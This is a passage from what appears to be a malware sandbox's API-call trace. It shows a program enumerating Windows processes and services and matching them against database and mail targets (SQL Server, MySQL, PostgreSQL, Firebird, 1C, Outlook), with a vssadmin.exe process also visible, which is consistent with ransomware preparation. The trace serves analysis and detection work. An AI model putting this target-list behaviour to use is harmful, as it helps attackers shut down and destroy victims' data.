lstrlenW (lpString="RpcSs") returned 5 [0214.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0214.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0214.837] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0214.837] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0214.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0214.838] lstrlenW (lpString="SamSs") returned 5 [0214.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0214.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0214.838] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0214.838] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0214.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0214.838] lstrlenW (lpString="Schedule") returned 8 [0214.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0214.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0214.839] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0214.839] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0214.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0214.839] lstrlenW (lpString="SENS") returned 4 [0214.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0214.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0214.839] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0214.839] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0214.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0214.839] lstrlenW (lpString="ShellHWDetection") returned 16 [0214.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0214.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0214.840] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0214.840] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0214.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0214.840] lstrlenW (lpString="Spooler") returned 7 [0214.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0214.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0214.841] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0214.841] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0214.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0214.841] lstrlenW (lpString="Themes") returned 6 [0214.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0214.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0214.842] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0214.842] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0214.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0214.842] lstrlenW (lpString="UxSms") returned 5 [0214.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0214.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0214.842] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0214.842] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0214.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0214.842] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x432f038 | out: hHeap=0x590000) returned 1 [0214.842] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x300 [0214.850] Process32FirstW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0214.851] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0214.852] lstrlenW (lpString="System") returned 6 [0214.852] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0214.853] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0214.853] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0214.853] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0214.853] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0214.853] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0214.853] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0214.853] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0214.856] lstrlenW (lpString="smss.exe") returned 8 [0214.856] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0214.856] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0214.856] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0214.856] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0214.856] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0214.856] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0214.856] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0214.857] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0214.858] lstrlenW (lpString="csrss.exe") returned 9 [0214.858] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0214.858] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0214.858] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0214.858] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0214.858] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0214.858] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0214.858] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0214.858] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0214.859] lstrlenW (lpString="wininit.exe") returned 11 [0214.859] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0214.860] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0214.860] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0214.860] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0214.860] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0214.860] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0214.860] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0214.860] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0214.861] lstrlenW (lpString="csrss.exe") returned 9 [0214.861] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0214.861] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0214.908] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0214.908] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0214.908] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0214.908] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0214.908] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0214.908] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0214.910] lstrlenW (lpString="winlogon.exe") returned 12 [0214.910] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0214.910] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0214.910] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0214.910] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0214.910] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0214.910] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0214.910] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0214.910] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0214.911] lstrlenW (lpString="services.exe") returned 12 [0214.911] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0214.911] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0214.912] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0214.912] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0214.912] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0214.912] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0214.912] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0214.912] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0214.913] lstrlenW (lpString="lsass.exe") returned 9 [0214.913] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0214.914] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0214.914] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0214.914] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0214.914] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0214.914] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0214.914] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0214.914] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0214.920] lstrlenW (lpString="lsm.exe") returned 7 [0214.920] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0214.920] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0214.920] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0214.920] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0214.920] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0214.921] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0214.921] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0214.921] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.922] lstrlenW (lpString="svchost.exe") returned 11 [0214.922] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0214.922] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0214.922] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0214.922] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0214.922] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0214.922] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0214.922] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0214.922] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.923] lstrlenW (lpString="svchost.exe") returned 11 [0214.923] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0214.923] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0214.923] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0214.923] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0214.923] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0214.924] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0214.924] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0214.924] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.927] lstrlenW (lpString="svchost.exe") returned 11 [0214.927] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0214.927] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0214.927] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0214.927] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0214.928] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0214.928] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0214.928] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0214.928] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.929] lstrlenW (lpString="svchost.exe") returned 11 [0214.929] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0214.929] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0214.929] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0214.929] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0214.929] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0214.929] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0214.930] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0214.930] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.931] lstrlenW (lpString="svchost.exe") returned 11 [0214.931] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0214.931] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0214.931] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0214.931] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0214.931] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0214.931] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0214.931] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0214.931] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0214.933] lstrlenW (lpString="audiodg.exe") returned 11 [0214.933] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0214.933] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0214.933] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0214.933] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0214.934] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0214.934] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0214.934] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0214.934] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.937] lstrlenW (lpString="svchost.exe") returned 11 [0214.937] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0214.937] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0214.937] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0214.937] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0214.937] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0214.938] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0214.938] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0214.938] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0214.939] lstrlenW (lpString="userinit.exe") returned 12 [0214.939] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0214.939] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0214.939] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1 [0214.939] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1 [0214.939] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1 [0214.939] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1 [0214.939] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1 [0214.939] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0214.940] lstrlenW (lpString="explorer.exe") returned 12 [0214.940] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0214.942] lstrlenW (lpString="dwm.exe") returned 7 [0214.942] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.943] lstrlenW (lpString="svchost.exe") returned 11 [0214.943] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0214.946] lstrlenW (lpString="winhost.exe") returned 11 [0214.946] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0214.950] lstrlenW (lpString="spoolsv.exe") returned 11 [0214.950] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0214.951] lstrlenW (lpString="dllhost.exe") returned 11 [0214.951] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.952] lstrlenW (lpString="svchost.exe") returned 11 [0214.952] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0214.968] lstrlenW (lpString="taskhost.exe") returned 12 [0214.969] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0214.971] lstrlenW (lpString="cmd.exe") returned 7 [0214.971] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0214.972] lstrlenW (lpString="reader_sl.exe") returned 13 [0214.972] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0214.973] lstrlenW (lpString="conhost.exe") returned 11 [0214.973] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0214.975] lstrlenW (lpString="vssadmin.exe") returned 12 [0214.975] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0214.979] CloseHandle (hObject=0x300) returned 1 [0214.979] Sleep (dwMilliseconds=0x1f4) [0216.402] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6010b8 [0216.739] EnumServicesStatusExW (in: hSCManager=0x6010b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0216.745] GetLastError () returned 0xea [0216.745] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa64) returned 0x432d830 [0216.746] EnumServicesStatusExW (in: hSCManager=0x6010b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x432d830, cbBufSize=0xa64, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x432d830, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0216.748] CloseServiceHandle (hSCObject=0x6010b8) returned 1 [0216.749] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0216.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0216.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0216.750] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0216.750] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0216.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0216.750] lstrlenW (lpString="AudioSrv") returned 8 [0216.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0216.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0216.750] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0216.751] lstrcmpiW 